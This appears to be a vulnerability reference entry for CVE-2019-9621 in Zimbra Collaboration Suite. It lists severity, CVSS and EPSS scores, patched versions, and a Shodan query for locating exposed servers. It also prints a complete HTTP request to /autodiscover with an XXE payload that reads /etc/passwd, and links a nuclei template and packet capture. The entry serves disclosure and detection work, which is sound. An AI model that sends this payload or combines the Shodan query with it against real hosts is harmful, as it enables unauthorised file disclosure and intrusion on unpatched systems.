| Title | Zimbra Collaboration Suite - SSRF |
|---|---|
| Author | riteshs4hu |
| Severity | High |
| Impact | Attackers can perform SSRF, potentially leading to internal network access or further exploitation. |
| Remediation | Update to the latest patched versions: 8.6 patch 13, 8.7.11 patch 10, 8.8.10 patch 7, or 8.8.11 patch 3 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94119 |
| CVE ID | CVE-2019-9621 |
| CWE ID | CWE-918 |
| Shodan Query | html:"Zimbra Collaboration Suite Web Client" |
| Tags | cve cve2019 zimbra collaboration-server oast oob xxe kev vkev vuln |
Zimbra Collaboration Suite before 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7 or 8.8.x before 8.8.11 patch 3 allows SSRF via the ProxyServlet component.
POST /autodiscover HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 282
Content-Type: application/xml
Accept-Encoding: gzip
<?xml version="1.0"?>
<!DOCTYPE soap [
<!ELEMENT soap ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover>
<Request>
<EMailAddress>test@example.com</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9621.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9621.pcap
N/AN/A